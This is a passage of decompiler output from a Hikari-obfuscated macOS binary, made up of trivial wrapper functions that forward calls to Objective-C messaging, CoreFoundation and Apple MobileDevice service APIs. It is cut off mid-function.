//----- (000000010021BB40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16765(void *a1, const char *a2)
{
HikariFunctionWrapper_16764(a1, a2);
}
//----- (000000010021BB50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16766(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BB60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16767(void *a1, const char *a2)
{
return HikariFunctionWrapper_16766(a1, a2);
}
//----- (000000010021BB70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16768(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021BB80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16769(void *a1, const char *a2)
{
HikariFunctionWrapper_16768(a1, a2);
}
//----- (000000010021BB90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16770(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BBA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16771(void *a1, const char *a2)
{
return HikariFunctionWrapper_16770(a1, a2);
}
//----- (000000010021BBB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16772(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BBC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16773(void *a1, const char *a2)
{
return HikariFunctionWrapper_16772(a1, a2);
}
//----- (000000010021BBD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16774(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021BBE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16775(void *a1, const char *a2)
{
HikariFunctionWrapper_16774(a1, a2);
}
//----- (000000010021BBF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16776(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BC00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16777(void *a1, const char *a2)
{
return HikariFunctionWrapper_16776(a1, a2);
}
//----- (000000010021BC10) ----------------------------------------------------
Boolean __fastcall HikariFunctionWrapper_16778(const __SCDynamicStore *a1, const __CFString *a2, const void *a3)
{
return SCDynamicStoreSetValue(a1, a2, a3);
}
//----- (000000010021BC20) ----------------------------------------------------
Boolean __fastcall HikariFunctionWrapper_16779(const __SCDynamicStore *a1, const __CFString *a2, const void *a3)
{
return HikariFunctionWrapper_16778(a1, a2, a3);
}
//----- (000000010021BC30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16780(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021BC40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16781(void *a1, const char *a2)
{
HikariFunctionWrapper_16780(a1, a2);
}
//----- (000000010021BC50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16782(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BC60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16783(void *a1, const char *a2)
{
return HikariFunctionWrapper_16782(a1, a2);
}
//----- (000000010021BC70) ----------------------------------------------------
Boolean __fastcall HikariFunctionWrapper_16784(const __SCDynamicStore *a1, const __CFString *a2, const void *a3)
{
return SCDynamicStoreSetValue(a1, a2, a3);
}
//----- (000000010021BC80) ----------------------------------------------------
Boolean __fastcall HikariFunctionWrapper_16785(const __SCDynamicStore *a1, const __CFString *a2, const void *a3)
{
return HikariFunctionWrapper_16784(a1, a2, a3);
}
//----- (000000010021BC90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16786(const void *a1)
{
CFRelease(a1);
}
//----- (000000010021BCA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16787(const void *a1)
{
HikariFunctionWrapper_16786(a1);
}
//----- (000000010021BCB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16788(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BCC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16789(void *a1, const char *a2)
{
return HikariFunctionWrapper_16788(a1, a2);
}
//----- (000000010021BCD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16790(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021BCE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16791(void *a1)
{
HikariFunctionWrapper_16790(a1);
}
//----- (000000010021BCF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16792(void *a1)
{
runScript(a1);
}
//----- (000000010021BD00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16793(void *a1)
{
HikariFunctionWrapper_16792(a1);
}
//----- (000000010021BD10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16794(void *a1)
{
runScript(a1);
}
//----- (000000010021BD20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16795(void *a1)
{
HikariFunctionWrapper_16794(a1);
}
//----- (000000010021BD30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16796(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (000000010021BD40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16797(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_16796(a1, a2);
}
//----- (000000010021BD50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16798(void *a1)
{
runScript(a1);
}
//----- (000000010021BD60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16799(void *a1)
{
HikariFunctionWrapper_16798(a1);
}
//----- (000000010021BD70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16800(void *a1)
{
runScript(a1);
}
//----- (000000010021BD80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16801(void *a1)
{
HikariFunctionWrapper_16800(a1);
}
//----- (000000010021BD90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16802(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021BDA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16803(void *a1, const char *a2)
{
HikariFunctionWrapper_16802(a1, a2);
}
//----- (000000010021BDB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16804(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BDC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16805(void *a1, const char *a2)
{
return HikariFunctionWrapper_16804(a1, a2);
}
//----- (000000010021BDD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16806(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (000000010021BDE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16807(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_16806(a1, a2);
}
//----- (000000010021BDF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16808(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BE00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16809(void *a1, const char *a2)
{
return HikariFunctionWrapper_16808(a1, a2);
}
//----- (000000010021BE10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16810(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BE20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16811(void *a1, const char *a2)
{
return HikariFunctionWrapper_16810(a1, a2);
}
//----- (000000010021BE30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16812(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BE40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16813(void *a1, const char *a2)
{
return HikariFunctionWrapper_16812(a1, a2);
}
//----- (000000010021BE50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16814(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BE60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16815(void *a1, const char *a2)
{
return HikariFunctionWrapper_16814(a1, a2);
}
//----- (000000010021BE70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16816(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021BE80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16817(void *a1, const char *a2)
{
HikariFunctionWrapper_16816(a1, a2);
}
//----- (000000010021BE90) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16818()
{
AMDServiceConnectionInvalidate();
}
// 100256144: using guessed type __int64 AMDServiceConnectionInvalidate(void);
//----- (000000010021BEA0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16819()
{
HikariFunctionWrapper_16818();
}
//----- (000000010021BEB0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16820(__int64 a1)
{
return AMDeviceValidatePairing(a1);
}
// 1002561A4: using guessed type __int64 __fastcall AMDeviceValidatePairing(_QWORD);
//----- (000000010021BEC0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16821(__int64 a1)
{
return HikariFunctionWrapper_16820(a1);
}
//----- (000000010021BED0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16822(__int64 a1)
{
return AMDeviceStartSession(a1);
}
// 100256198: using guessed type __int64 __fastcall AMDeviceStartSession(_QWORD);
//----- (000000010021BEE0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16823(__int64 a1)
{
return HikariFunctionWrapper_16822(a1);
}
//----- (000000010021BEF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16824(__int64 a1)
{
WaitForDiagnosticsRelay(a1);
}
//----- (000000010021BF00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16825(__int64 a1)
{
HikariFunctionWrapper_16824(a1);
}
//----- (000000010021BF10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16826(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021BF20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16827(NSString *a1)
{
HikariFunctionWrapper_16826(a1);
}
//----- (000000010021BF30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16828(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BF40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16829(void *a1, const char *a2)
{
return HikariFunctionWrapper_16828(a1, a2);
}
//----- (000000010021BF50) ----------------------------------------------------
CFDataRef __fastcall HikariFunctionWrapper_16830(
const __CFAllocator *a1,
const void *a2,
CFPropertyListFormat a3,
CFOptionFlags a4,
CFErrorRef *a5)
{
return CFPropertyListCreateData(a1, a2, a3, a4, a5);
}
//----- (000000010021BF60) ----------------------------------------------------
CFDataRef __fastcall HikariFunctionWrapper_16831(
const __CFAllocator *a1,
const void *a2,
CFPropertyListFormat a3,
CFOptionFlags a4,
CFErrorRef *a5)
{
return HikariFunctionWrapper_16830(a1, a2, a3, a4, a5);
}
//----- (000000010021BF70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16832(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BF80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16833(void *a1, const char *a2)
{
return HikariFunctionWrapper_16832(a1, a2);
}
//----- (000000010021BF90) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16834(__int64 a1)
{
return AMDServiceConnectionSend(a1);
}
// 100256150: using guessed type __int64 __fastcall AMDServiceConnectionSend(_QWORD);
//----- (000000010021BFA0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16835(__int64 a1)
{
return HikariFunctionWrapper_16834(a1);
}
//----- (000000010021BFB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16836(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021BFC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16837(NSString *a1)
{
HikariFunctionWrapper_16836(a1);
}
//----- (000000010021BFD0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16838(__int64 a1)
{
return AMDeviceValidatePairing(a1);
}
// 1002561A4: using guessed type __int64 __fastcall AMDeviceValidatePairing(_QWORD);
//----- (000000010021BFE0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16839(__int64 a1)
{
return HikariFunctionWrapper_16838(a1);
}
//----- (000000010021BFF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16840(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021C000) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16841(NSString *a1)
{
HikariFunctionWrapper_16840(a1);
}
//----- (000000010021C010) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16842(__int64 a1)
{
return AMDServiceConnectionSend(a1);
}
// 100256150: using guessed type __int64 __fastcall AMDServiceConnectionSend(_QWORD);
//----- (000000010021C020) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16843(__int64 a1)
{
return HikariFunctionWrapper_16842(a1);
}
//----- (000000010021C030) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16844(__int64 a1)
{
return AMDeviceSecureStartService(a1);
}
// 100256186: using guessed type __int64 __fastcall AMDeviceSecureStartService(_QWORD);
//----- (000000010021C040) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16845(__int64 a1)
{
return HikariFunctionWrapper_16844(a1);
}
//----- (000000010021C050) ----------------------------------------------------
CFMutableDictionaryRef __fastcall HikariFunctionWrapper_16846(
const __CFAllocator *a1,
CFIndex a2,
const CFDictionaryKeyCallBacks *a3,
const CFDictionaryValueCallBacks *a4)
{
return CFDictionaryCreateMutable(a1, a2, a3, a4);
}
//----- (000000010021C060) ----------------------------------------------------
CFMutableDictionaryRef __fastcall HikariFunctionWrapper_16847(
const __CFAllocator *a1,
CFIndex a2,
const CFDictionaryKeyCallBacks *a3,
const CFDictionaryValueCallBacks *a4)
{
return HikariFunctionWrapper_16846(a1, a2, a3, a4);
}
//----- (000000010021C070) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16848(
__CFDictionary *a1,
const void *a2,
const void *a3)
{
CFDictionarySetValue(a1, a2, a3);
}
//----- (000000010021C080) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16849(
__CFDictionary *a1,
const void *a2,
const void *a3)
{
HikariFunctionWrapper_16848(a1, a2, a3);
}
//----- (000000010021C090) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16850(const void *a1)
{
CFRelease(a1);
}
//----- (000000010021C0A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16851(const void *a1)
{
HikariFunctionWrapper_16850(a1);
}
//----- (000000010021C0B0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16852(__int64 a1)
{
return AMDServiceConnectionSend(a1);
}
// 100256150: using guessed type __int64 __fastcall AMDServiceConnectionSend(_QWORD);
//----- (000000010021C0C0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16853(__int64 a1)
{
return HikariFunctionWrapper_16852(a1);
}
//----- (000000010021C0D0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16854(__int64 a1)
{
return AMDServiceConnectionSend(a1);
}
// 100256150: using guessed type __int64 __fastcall AMDServiceConnectionSend(_QWORD);
//----- (000000010021C0E0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16855(__int64 a1)
{
return HikariFunctionWrapper_16854(a1);
}
//----- (000000010021C0F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16856(const void *a1)
{
CFRelease(a1);
}
//----- (000000010021C100) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16857(const void *a1)
{
HikariFunctionWrapper_16856(a1);
}
//----- (000000010021C110) ----------------------------------------------------
CFPropertyListRef __fastcall HikariFunctionWrapper_16858(
const __CFAllocator *a1,
const __CFData *a2,
CFOptionFlags a3,
CFPropertyListFormat *a4,
CFErrorRef *a5)
{
return CFPropertyListCreateWithData(a1, a2, a3, a4, a5);
}
//----- (000000010021C120) ----------------------------------------------------
CFPropertyListRef __fastcall HikariFunctionWrapper_16859(
const __CFAllocator *a1,
const __CFData *a2,
CFOptionFlags a3,
CFPropertyListFormat *a4,
CFErrorRef *a5)
{
return HikariFunctionWrapper_16858(a1, a2, a3, a4, a5);
}
//----- (000000010021C130) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16860(const void *a1)
{
CFRelease(a1);
}
//----- (000000010021C140) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16861(const void *a1)
{
HikariFunctionWrapper_16860(a1);
}
//----- (000000010021C150) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16862(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010021C160) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16863(objc_class *a1)
{
return HikariFunctionWrapper_16862(a1);
}
//----- (000000010021C170) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16864(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010021C180) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16865(objc_class *a1)
{
return HikariFunctionWrapper_16864(a1);
}
//----- (000000010021C190) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16866(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C1A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16867(void *a1, const char *a2)
{
return HikariFunctionWrapper_16866(a1, a2);
}
//----- (000000010021C1B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16868(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C1C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16869(void *a1, const char *a2)
{
return HikariFunctionWrapper_16868(a1, a2);
}
//----- (000000010021C1D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16870(const void *a1)
{
CFRelease(a1);
}
//----- (000000010021C1E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16871(const void *a1)
{
HikariFunctionWrapper_16870(a1);
}
//----- (000000010021C1F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16872(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021C200) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16873(NSString *a1)
{
HikariFunctionWrapper_16872(a1);
}
//----- (000000010021C210) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16874(__int64 a1)
{
return AMDServiceConnectionSend(a1);
}
// 100256150: using guessed type __int64 __fastcall AMDServiceConnectionSend(_QWORD);
//----- (000000010021C220) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16875(__int64 a1)
{
return HikariFunctionWrapper_16874(a1);
}
//----- (000000010021C230) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16876(const void *a1)
{
CFRelease(a1);
}
//----- (000000010021C240) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16877(const void *a1)
{
HikariFunctionWrapper_16876(a1);
}
//----- (000000010021C250) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_16878(size_t a1)
{
return malloc(a1);
}
//----- (000000010021C260) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_16879(size_t a1)
{
return HikariFunctionWrapper_16878(a1);
}
//----- (000000010021C270) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16880(void *a1)
{
free(a1);
}
//----- (000000010021C280) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16881(void *a1)
{
HikariFunctionWrapper_16880(a1);
}
//----- (000000010021C290) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16882(void *a1)
{
free(a1);
}
//----- (000000010021C2A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16883(void *a1)
{
HikariFunctionWrapper_16882(a1);
}
//----- (000000010021C2B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16884(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021C2C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16885(NSString *a1)
{
HikariFunctionWrapper_16884(a1);
}
//----- (000000010021C2D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16886(
__CFDictionary *a1,
const void *a2,
const void *a3)
{
CFDictionarySetValue(a1, a2, a3);
}
//----- (000000010021C2E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16887(
__CFDictionary *a1,
const void *a2,
const void *a3)
{
HikariFunctionWrapper_16886(a1, a2, a3);
}
//----- (000000010021C2F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16888(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021C300) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16889(NSString *a1)
{
HikariFunctionWrapper_16888(a1);
}
//----- (000000010021C310) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16890(__int64 a1)
{
return AMDServiceConnectionSend(a1);
}
// 100256150: using guessed type __int64 __fastcall AMDServiceConnectionSend(_QWORD);
//----- (000000010021C320) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16891(__int64 a1)
{
return HikariFunctionWrapper_16890(a1);
}
//----- (000000010021C330) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16892(__int64 a1)
{
return AMDServiceConnectionReceive(a1);
}
// 10025614A: using guessed type __int64 __fastcall AMDServiceConnectionReceive(_QWORD);
//----- (000000010021C340) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16893(__int64 a1)
{
return HikariFunctionWrapper_16892(a1);
}
//----- (000000010021C350) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_16894(size_t a1)
{
return malloc(a1);
}
//----- (000000010021C360) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_16895(size_t a1)
{
return HikariFunctionWrapper_16894(a1);
}
//----- (000000010021C370) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16896(__int64 a1)
{
return AMDServiceConnectionReceive(a1);
}
// 10025614A: using guessed type __int64 __fastcall AMDServiceConnectionReceive(_QWORD);
//----- (000000010021C380) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16897(__int64 a1)
{
return HikariFunctionWrapper_16896(a1);
}
//----- (000000010021C390) ----------------------------------------------------
CFDataRef __fastcall HikariFunctionWrapper_16898(const __CFAllocator *a1, const UInt8 *a2, CFIndex a3)
{
return CFDataCreate(a1, a2, a3);
}
//----- (000000010021C3A0) ----------------------------------------------------
CFDataRef __fastcall HikariFunctionWrapper_16899(const __CFAllocator *a1, const UInt8 *a2, CFIndex a3)
{
return HikariFunctionWrapper_16898(a1, a2, a3);
}
//----- (000000010021C3B0) ----------------------------------------------------
CFPropertyListRef __fastcall HikariFunctionWrapper_16900(
const __CFAllocator *a1,
const __CFData *a2,
CFOptionFlags a3,
CFPropertyListFormat *a4,
CFErrorRef *a5)
{
return CFPropertyListCreateWithData(a1, a2, a3, a4, a5);
}
//----- (000000010021C3C0) ----------------------------------------------------
CFPropertyListRef __fastcall HikariFunctionWrapper_16901(
const __CFAllocator *a1,
const __CFData *a2,
CFOptionFlags a3,
CFPropertyListFormat *a4,
CFErrorRef *a5)
{
return HikariFunctionWrapper_16900(a1, a2, a3, a4, a5);
}
//----- (000000010021C3D0) ----------------------------------------------------
CFTypeID HikariFunctionWrapper_16902()
{
return CFDictionaryGetTypeID();
}
//----- (000000010021C3E0) ----------------------------------------------------
CFTypeID HikariFunctionWrapper_16903()
{
return HikariFunctionWrapper_16902();
}
//----- (000000010021C3F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16904(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021C400) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16905(NSString *a1)
{
HikariFunctionWrapper_16904(a1);
}
//----- (000000010021C410) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16906(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021C420) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16907(NSString *a1)
{
HikariFunctionWrapper_16906(a1);
}
//----- (000000010021C430) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16908(const void *a1)
{
CFRelease(a1);
}
//----- (000000010021C440) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16909(const void *a1)
{
HikariFunctionWrapper_16908(a1);
}
//----- (000000010021C450) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16910(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021C460) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16911(void *a1, const char *a2)
{
return HikariFunctionWrapper_16910(a1, a2);
}
//----- (000000010021C470) ----------------------------------------------------
CFMutableDictionaryRef __fastcall HikariFunctionWrapper_16912(
const __CFAllocator *a1,
CFIndex a2,
const CFDictionaryKeyCallBacks *a3,
const CFDictionaryValueCallBacks *a4)
{
return CFDictionaryCreateMutable(a1, a2, a3, a4);
}
//----- (000000010021C480) ----------------------------------------------------
CFMutableDictionaryRef __fastcall HikariFunctionWrapper_16913(
const __CFAllocator *a1,
CFIndex a2,
const CFDictionaryKeyCallBacks *a3,
const CFDictionaryValueCallBacks *a4)
{
